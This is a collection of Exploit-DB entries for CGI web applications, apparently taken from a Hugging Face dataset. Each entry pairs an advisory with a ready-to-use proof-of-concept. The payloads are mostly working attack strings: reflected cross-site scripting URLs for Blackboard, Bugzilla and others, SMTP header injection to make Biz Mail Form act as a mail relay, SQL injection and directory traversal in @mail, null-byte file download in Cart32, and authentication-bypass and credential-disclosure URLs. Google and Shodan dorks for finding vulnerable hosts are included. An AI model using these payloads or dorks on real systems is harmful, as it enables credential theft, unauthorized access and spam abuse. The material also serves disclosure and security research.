deardaniel/secdata-raw huggingface dataset:
Exploit-DB #25147
Description: Biz Mail Form 2.x - Unauthorized Mail Relay
Type: webapps
Platform: cgi
Date: 2005-02-22
Author: Jason Frisvold

Exploit:
source: https://www.securityfocus.com/bid/12620/info

Biz Mail Form is prone to a vulnerability that allows the application to be abused as a mail relay.

An attacker can exploit this issue to inject arbitrary SMTP headers by using CR and LF sequences.

If successful, it becomes possible to abuse the application as a mail relay. Email may be sent to arbitrary computers. This could be exploited by spammers or other malicious parties.

Update: It is reported that the update to address this issue (Biz Mail Form 2.2) is vulnerable to this issue as well. The affected version is being added as a vulnerable package and the fixes are being removed. 

<HTML>
<HEAD> <TITLE>Exploit Test Page</TITLE> </HEAD>
<BODY>
<form action="http://www.example.com/cgi-bin/bizmail/bizmail.cgi"
method="POST" name="Subscribe">
<TEXTAREA rows="5" name="email">&lt;/textarea&gt;
<INPUT TYPE="submit" VALUE="Submit" class="submit">
</FORM> </BODY> </HTML>

In the textbox that pops up, enter in the following (begin by hitting
enter to insert a blank line)

From:email@example.com
To:yourvalidemail@yourdomain.com
Subject:Exploit Test

This is a test

Click submit. You'll receive an email from the bizmail script, but
you won't receive the normal contact email. You can check the .dat
file and see a copy of what you sent.
Exploit-DB #22050
Description: BizDesign ImageFolio 2.x/3.0.1 - 'imageFolio.cgi?direct' Cross-Site Scripting
Type: webapps
Platform: cgi
Date: 2002-11-27
Author: SecurityTracker.com

Exploit:
source: https://www.securityfocus.com/bid/6265/info

Reportedly, ImageFolio is prone to cross site scripting attacks due to insufficient sanitization of user-supplied input. The vulnerability exists in various cgi scripts included with ImageFolio.

As a result, it is possible for a remote attacker to create a malicious link containing script code which will be executed in the browser of a legitimate user, in the context of the website running Bugzilla.

This issue may be exploited to steal cookie-based authentication credentials from legitimate users of the website running the vulnerable software.

/cgi-bin/imageFolio.cgi?direct=<script>alert("SecurityHole")</script>
Exploit-DB #22051
Description: BizDesign ImageFolio 2.x/3.0.1 - 'nph-build.cgi' Cross-Site Scripting
Type: webapps
Platform: cgi
Date: 2002-11-27
Author: SecurityTracker.com

Exploit:
source: https://www.securityfocus.com/bid/6265/info
 
Reportedly, ImageFolio is prone to cross site scripting attacks due to insufficient sanitization of user-supplied input. The vulnerability exists in various cgi scripts included with ImageFolio.
 
As a result, it is possible for a remote attacker to create a malicious link containing script code which will be executed in the browser of a legitimate user, in the context of the website running Bugzilla.
 
This issue may be exploited to steal cookie-based authentication credentials from legitimate users of the website running the vulnerable software.

/cgi-bin/if/admin/nph-build.cgi?step=<script>alert("SecurityHole")</script>
Exploit-DB #35093
Description: BizDir 05.10 - 'f_srch' Cross-Site Scripting
Type: webapps
Platform: cgi
Date: 2010-12-10
Author: Aliaksandr Hartsuyeu

Exploit:
source: https://www.securityfocus.com/bid/45342/info

BizDir is prone to a cross-site-scripting vulnerability because it fails to properly sanitize user-supplied input.

An attacker may leverage this issue to execute arbitrary script code in the browser of an unsuspecting user in the context of the affected site. This may let the attacker steal cookie-based authentication credentials and launch other attacks.

BizDir v.05.10 is vulnerable; other versions may also be affected. 

http://www.example.com/cgi-bin/bizdir/bizdir.cgi?f_mode=srch& f_srch=<XSS inj>&f_srch_mode=SOME&f_start_at=1
Exploit-DB #21588
Description: BlackBoard 5.0 - Cross-Site Scripting
Type: webapps
Platform: cgi
Date: 2002-07-01
Author: Berend-Jan Wever

Exploit:
source: https://www.securityfocus.com/bid/5137/info

Blackboard is reportedly prone to cross-site scripting attacks. This issue was reported to be in the login.pl script. The vulnerable script fails to sanitize HTML tags from CGI parameters.

Attackers may exploit this condition via a malicious link to a site running the vulnerable software. Successful exploitation will enable an attacker to cause script code to be executed in the web browser of a user who visits the malicious link.

It has been reported that there other instances where Blackboard fails to sanitize arbitrary HTML and script code. 

http://target/bin/login.pl?course_id=">&lt;SCRIPT&gt;alert()&lt;/SCRIPT&gt;
Exploit-DB #31538
Description: BlackBoard Academic Suite 6/7 - '/bin/common/announcement.pl?data__announcements___pk1_pk2__subject' Cross-Site Scripting
Type: webapps
Platform: cgi
Date: 2008-03-26
Author: Knight4vn

Exploit:
source: https://www.securityfocus.com/bid/28455/info
 
Blackboard Academic Suite is prone to multiple cross-site scripting vulnerabilities because the application fails to properly sanitize user-supplied input.
 
An attacker may leverage these issues to execute arbitrary script code in the browser of an unsuspecting user in the context of the affected site. This may help the attacker steal cookie-based authentication credentials and launch other attacks.
 
Blackboard versions prior to 6.3.1.683, 7.0.404.58, 7.1.467.35, 7.2.383.45, and 7.3.216.0 are vulnerable.

http://www.example.com/bin/common/announcement.pl?action=ADD&course_id=_137839_1&render_type=EDITABLE&context=course<input type="text" name="data__announcements___pk1_pk2__subject"value=?<script>alert(?worm activated!?)</script>? />
Exploit-DB #31537
Description: BlackBoard Academic Suite 6/7 - '/webapps/BlackBoard/execute/viewCatalog?searchText' Cross-Site Scripting
Type: webapps
Platform: cgi
Date: 2008-03-26
Author: Knight4vn

Exploit:
source: https://www.securityfocus.com/bid/28455/info

Blackboard Academic Suite is prone to multiple cross-site scripting vulnerabilities because the application fails to properly sanitize user-supplied input.

An attacker may leverage these issues to execute arbitrary script code in the browser of an unsuspecting user in the context of the affected site. This may help the attacker steal cookie-based authentication credentials and launch other attacks.

Blackboard versions prior to 6.3.1.683, 7.0.404.58, 7.1.467.35, 7.2.383.45, and 7.3.216.0 are vulnerable.

http://www.example.com/webapps/blackboard/execute/viewCatalog?type=Course&searchText=?><script>alert(?xss?)</script>
Exploit-DB #35802
Description: BlackBoard Learn 8.0 - 'keywordraw' Cross-Site Scripting
Type: webapps
Platform: cgi
Date: 2011-05-25
Author: Matt Jezorek

Exploit:
source: https://www.securityfocus.com/bid/48009/info

Blackboard Learn is prone to a cross-site scripting vulnerability because it fails to sufficiently sanitize user-supplied data.

An attacker may leverage this issue to execute arbitrary script code in the browser of an unsuspecting user in the context of the affected site. This may allow the attacker to steal cookie-based authentication credentials and to launch other attacks.

Blackboard Learn 8.0 is vulnerable; other versions may also be affected. 

http://www.example.com/bin/common/search.pl?action=RESULTS&amp;context=USERDIR&amp;type=SEARCH&amp;operation=VIEW&amp;keyword=abcd&amp;keywordraw=%22abcd%22/%3E%3Cscript+src%3Dhttp://www.example2.com/js/alert.js%3E%3C/script%3E%3Ca+href%3D%22test%22%3Ewhat%3C/a&amp;x=26&amp;y=15&amp;by=user_id
Exploit-DB #23986
Description: BlackBoard Learning System 5.x/6.0 - Multiple Cross-Site Scripting Vulnerabilities
Type: webapps
Platform: cgi
Date: 2004-04-12
Author: DarC KonQuest

Exploit:
source: https://www.securityfocus.com/bid/10101/info

Blackboard Learning System has been reported prone to multiple cross-site scripting vulnerabilities. These issues are due to a failure of the application to properly validate user supplied URI input.

The first issue is reported to affect the "addressbook.pl" script. The second issue is reported to affect the "tasks.pl" script. The third issue is reported to affect three URI parameters, of the "calendar.pl" script.

In all cases the user-supplied parameters are not sufficiently sanitized prior to being rendered in the browser of the target user.

These issues could permit a remote attacker to create a malicious link to the vulnerable application that includes hostile HTML and script code. If this link were followed, the hostile code may be rendered in the web browser of the victim user. This would occur in the security context of the affected web site and may allow for theft of cookie-based authentication credentials or other attacks.

http://www.example.com/bin/common/addressbook.pl?action=ADD&nav=my_addressbook&course='%3E%3Cscript%3Ealert('DarCNesS')%3C/script%3E
http://www.example.com/bin/common/tasks.pl?action=c&display=T.subject&filter=--!!all&course_id=&render_type='%3E%3Cscript%3Ealert('DarCNesS')%3C/script%3E
http://www.example.com/bin/common/calendar.pl?course_name=%22%3E%3Cscript%3Ealert('DarCNesS')%3C/script%3E
http://www.example.com/bin/common/calendar.pl?courseID=%22%3E%3Cscript%3Ealert('DarCNesS')%3C/script%3E
http://www.example.com/bin/common/calendar.pl?subroutine=%22%3E%3Cscript%3Ealert('DarCNesS')%3C/script%3E
Exploit-DB #27488
Description: BlankOL 1.0 - 'Bol.cgi' Multiple Cross-Site Scripting Vulnerabilities
Type: webapps
Platform: cgi
Date: 2006-03-27
Author: r0t

Exploit:
source: https://www.securityfocus.com/bid/17265/info

BlankOL is prone to multiple cross-site scripting vulnerabilities. These issues are due to a failure in the application to properly sanitize user-supplied input. 

An attacker may leverage these issues to have arbitrary script code executed in the browser of an unsuspecting user in the context of the affected site. This may help the attacker steal cookie-based authentication credentials and launch other attacks.

http://www.example.com/bol.cgi?file=[XSS]
http://www.example.com/bol.cgi?function=[XSS]
Exploit-DB #27728
Description: Blender 2.36 - '.BVF' File Import Python Code Execution
Type: webapps
Platform: cgi
Date: 2006-04-24
Author: Joxean Koret

Exploit:
source: https://www.securityfocus.com/bid/17663/info

Blender is susceptible to a Python code-execution vulnerability. This issue is due to the application's failure to properly sanitize user-supplied input before using it in a Python 'eval' statement.

This issue allows attackers to execute arbitrary Python code in the context of the user running the affected application.

http://bugs.debian.org/cgi-bin/bugreport.cgi/exploit.bvh?bug=330895;msg=5;att=1
http://bugs.debian.org/cgi-bin/bugreport.cgi/poc1.bvh?bug=330895;msg=5;att=3
http://bugs.debian.org/cgi-bin/bugreport.cgi/poc2.bvh?bug=330895;msg=5;att=4
Exploit-DB #29221
Description: BlueSocket BSC 2100 5.0/5.1 - Admin.pl Cross-Site Scripting
Type: webapps
Platform: cgi
Date: 2006-12-04
Author: Jesus Olmos Gonzalez

Exploit:
source: https://www.securityfocus.com/bid/21419/info

BlueSocket BSC 2100 is prone to a cross-site scripting vulnerability because it fails to properly sanitize user-supplied input. 

An attacker may leverage this issue to have arbitrary script code execute in the browser of an unsuspecting user in the context of the affected site. This may help the attacker steal cookie-based authentication credentials and launch other attacks.

This issue affects versions prior to 5.2 and versions without the 5.1.1-BluePatch fix.

https://www.example.com/admin.pl?ad_name=%22%3E%3Ch1%3EXSS%20BUG%3C/h1%3E%3C!--
Exploit-DB #24287
Description: BoardPower Forum - 'ICQ.cgi' Cross-Site Scripting
Type: webapps
Platform: cgi
Date: 2004-07-15
Author: Alexander Antipov

Exploit:
source: https://www.securityfocus.com/bid/10734/info

BoardPower Forum is reportedly affected by a cross-site scripting vulnerability in the icq.cgi script. This issue is due to a failure of the application to properly sanitize user-supplied URI input.

A remote attacker can exploit this issue by creating a malicious link to the vulnerable application that includes hostile HTML and script code. If this link were followed, the hostile code may be rendered in the web browser of the victim user. This would occur in the security context of the web server and may allow for theft of cookie-based authentication credentials or other attacks. 

http://www.example.com/cgi-bin/boardpower/icq.cgi?action=<script>javascript:alert('hello');</script>
Exploit-DB #38806
Description: Bugzilla - 'editflagtypes.cgi' Multiple Cross-Site Scripting Vulnerabilities
Type: webapps
Platform: cgi
Date: 2013-10-09
Author: Mateusz Goik

Exploit:
source: https://www.securityfocus.com/bid/63204/info

Bugzilla is prone to multiple cross-site scripting vulnerabilities because it fails to sufficiently sanitize user-supplied input.

An attacker may leverage these issues to execute arbitrary script code in the browser of an unsuspecting user in the context of the affected site. This may allow the attacker to steal cookie-based authentication credentials and launch other attacks.

Bugzilla versions 2.17.1 through 4.0.10, 4.1.1 through 4.2.6 and 4.3.1 through 4.4 are vulnerable. 

http://www.example.com/bugzilla/editflagtypes.cgi?action=insert&can_fully_edit=1&id="><script>alert(1)</script>&token=&target_type=bug&check_clusions=1&name=test1&description=test2&product=TestProduct&component=TestComponent&categoryAction-include=Include&sortkey=1&is_active=on&is_requestable=on&cc_list=&is_requesteeble=on&is_multiplicable=on&grant_group=&request_group=

http://www.example.com/bugzilla/editflagtypes.cgi?action=insert&can_fully_edit=1&id=&token=&target_type=bug&check_clusions=1&name=test&description=test2&product=TestProduct&component=TestComponent&categoryAction-include=Include&sortkey=1"><script>alert(2)</script>&is_active=on&is_requestable=on&cc_list=&is_requesteeble=on&is_multiplicable=on&grant_group=&request_group=
Exploit-DB #38807
Description: Bugzilla 4.2 - Tabular Reports Cross-Site Scripting
Type: webapps
Platform: cgi
Date: 2013-10-09
Author: Mateusz Goik

Exploit:
source: https://www.securityfocus.com/bid/63205/info

Bugzilla is prone to a cross-site scripting vulnerability because it fails to sufficiently sanitize user-supplied input.

Attackers can exploit this issue to steal cookie-based authentication information, execute arbitrary client-side scripts in the context of the browser, and obtain sensitive information. Other attacks are also possible.

Bugzilla versions 4.1.1 through 4.2.6, and 4.3.1 through 4.4 are vulnerable.

Note: This issue exists due to an incomplete fix for CVE-2012-4189 (identified in BID 56504 - Bugzilla Multiple Cross Site Scripting and Information Disclosure Vulnerabilities). 

https://www.example.com/bugzilla-tip/report.cgi?x_axis_field=short_desc&y_axis_field=short_desc&z_axis_field=short_desc&no_redirect=1&query_format=report-table&short_desc_type=allwordssubstr&short_desc=&resolution=---&longdesc_type=allwordssubstr&longdesc=&bug_file_loc_type=allwordssubstr&bug_file_loc=&status_whiteboard_type=allwordssubstr&status_whiteboard=&keywords_type=allwords&keywords=&deadlinefrom=&deadlineto=&bug_id=22386%2C22387&bug_id_type=anyexact&emailassigned_to1=1&emailtype1=substring&email1=&emailassigned_to2=1&emailreporter2=1&emailqa_contact2=1&emailcc2=1&emailtype2=substring&email2=&emaillongdesc3=1&emailtype3=substring&email3=&chfieldvalue=&chfieldfrom=&chfieldto=Now&j_top=AND&f1=noop&o1=noop&v1=&format=table&action=wrap
Exploit-DB #23488
Description: BulletScript MailList - bsml.pl Information Disclosure
Type: webapps
Platform: cgi
Date: 2003-12-29
Author: M0rf

Exploit:
source: https://www.securityfocus.com/bid/9311/info

It has been reported that BulletScript MailList may be prone to an information disclosure vulnerability that may allow remote attackers to gain access to sensitive information. The issue is reported to be present in the 'action' parameter of bsml.pl script. Information gathered via these attacks may aid an attacker in mounting further attacks against a vulnerable system and the affected users.

Due to a lack of information, further details cannot be outlined at the moment. This BID will be updated as more information becomes available. 

http://www.example.com/cgi-bin/path_to_file/bsml.pl?action=empty
http://www.example.com/cgi-bin/path_to_file/bsml.pl?action=sm
http://www.example.com/cgi-bin/path_to_file/bsml.pl?action=edit
Exploit-DB #40265
Description: C2S DVR Management IRDOME-II-C2S / IRBOX-II-C2S / DVR - Credentials Disclosure / Authentication Bypass
Type: webapps
Platform: cgi
Date: 2016-08-19
Author: Yakir Wizman

Exploit:
1. Advisory Information
========================================
Title                   : C2S DVR Management Remote Credentials Disclosure & Authentication Bypass
Vendor Homepage         : http://www.cash2s.com/en/
Remotely Exploitable	: Yes
Tested on Camera types	: IRDOME-II-C2S, IRBOX-II-C2S, DVR
Vulnerabilities         : Credentials Disclosure
+                       : Authentication bypass
Date                    : 19/08/2016
Shodan Dork             : html:write.cgi "Content-length: 2676"
Author                  : Yakir Wizman (https://www.linkedin.com/in/yakirwizman)
 
 
2. CREDIT
========================================
This vulnerability was identified during penetration test by Yakir Wizman.
  

3. Description
========================================
C2S DVR allows to unauthenticated user disclose the username & password remotely by simple request to the server page 'read.cgi?page=2' which can be made by browser or burp/fiddler.
Moreover, an attacker could easily access to password change page without any authentication, thats happen cuase the web application does not perform any session management.


4. Proof-of-Concept:
========================================
Remote Credentials Disclosure:
-----------------------------------------------
Simply go to the following url to read the credentials:
http://host:port/cgi-bin/read.cgi?page=2

Should return some javascript variable which contain the credentials and other configuration vars:

var pw_enflag = "1";
var pw_adminpw = "12345";
var pw_retype1 = "12345";
var pw_userpw = "56789";
var pw_retype2 = "56789";
var pw_autolock = "0";


Login @ http://host:port/
-----------------------------------------------


Authentication Bypass:
-----------------------------------------------
The application does not require a valid session for any page on the server, for example you can access to 'password.htm' which allows you to change/disclose the admin password with just a few clicks.

http://host:port/password.htm?parm1=&parm2=1



5. SOLUTION
========================================
Contact the vendor for further information regarding the proper mitigation of this vulnerability.
Exploit-DB #23421
Description: calacode @mail webmail system 3.52 - Multiple Vulnerabilities
Type: webapps
Platform: cgi
Date: 2003-12-09
Author: Nick Gudov

Exploit:
source: https://www.securityfocus.com/bid/9180/info

It has been reported that @mail Webmail System may be prone to multiple vulnerabilities that include directory traversal, SQL injection, session hijacking, and cross-site scripting. These issues may allow an attacker to gain access to sensitive information including user email messages and mailboxes.

http://www.example.com/showmail.pl?Folder=../../victim@somehost.com/mbox/Inbox

http://www.example.com/reademail.pl?id=666&folder=qwer'%20or%20EmailDatabase_v.Account='victim@atmail.com&print=1

http://www.example.com/parse.pl?file=html/english/xp/xplogin.html

http://www.example.com/showmail.pl?Folder=<script>alert(document.cookie)</script>
Exploit-DB #6771
Description: Calendars for the Web 4.02 - Admin Authentication Bypass
Type: webapps
Platform: cgi
Date: 2008-10-16
Author: SecVuln

Exploit:
*******************************************************
*Exploit discovered by SecVuln from http://secvuln.com*
*Come join our clan!                                  *
*contact secvuln@secvuln.com                          *
*******************************************************

~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
Author == SecVuln
Version == 4.02
Software == Calendars for the web by great hill corporation
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~

Calendars for the web has a vulnerability in the administration page.
The page saves the past session, so that anyone navigating to the page has
admin access.

Exploit:

Before attack: target.com/calendarWeb/cgi-bin/calweb/calweb.exe

After attack:
target.com/calendarWeb/cgi-bin/calweb/calweb.exe?cal=default&vt=6&cmd=900&act=0&dd=2008;10;03;12;00;00;&app=0&format=21x05i9r9s|SnriTmOdoaT&lastcmd=0

Example:
target.com/calendarWeb/cgi-bin/calweb/calweb.exe?cal=default&vt=6&cmd=900&act=0&dd=2008;10;03;12;00;00;&app=0&format=21x05i9r9s|SnriTmOdoaT&lastcmd=0

!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!
how to fix: set time out for login to five minutes    !
!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!

A Google query can find a couple pages of victims:  inurl:calweb/calweb.exe

Further hacks: if they disable the timeout you can still log in right after
they log out... You could probaly do something with that
Also the 0 at the ending is the administrator (super user) id.

/////////////////////////////////////////////////////////////////
I take no responsability for the misuse of the information.//////
Author will not be held liable for any damages             //////
COME CHECK MY SITE OUT WWW.SECVULN.COM                     //////
////////////////////////////////////////////////////////////////

# milw0rm.com [2008-10-16]
Exploit-DB #30639
Description: Cart32 6.x - GetImage Arbitrary File Download
Type: webapps
Platform: cgi
Date: 2007-10-04
Author: Paul Craig

Exploit:
source: https://www.securityfocus.com/bid/25928/info

Cart32 is prone to an arbitrary-file-download vulnerability because the application fails to sufficiently sanitize user-supplied input.

An attacker can exploit this issue to download arbitrary files within the context of the webserver process. Information obtained may aid in further attacks.

This issue affects Cart32 6.3; prior versions are also vulnerable. 

http://www.example.com/scripts/c32web.exe/GetImage?ImageName=somefile.txt%00.gif
http://www.example.com/scripts/c32web.exe/GetImage?ImageName=somefile.txt%00.jpg
http://www.example.com/scripts/c32web.exe/GetImage?ImageName=somefile.txt%00.pdf
http://www.example.com/scripts/c32web.exe/GetImage?ImageName=somefile.txt%00.png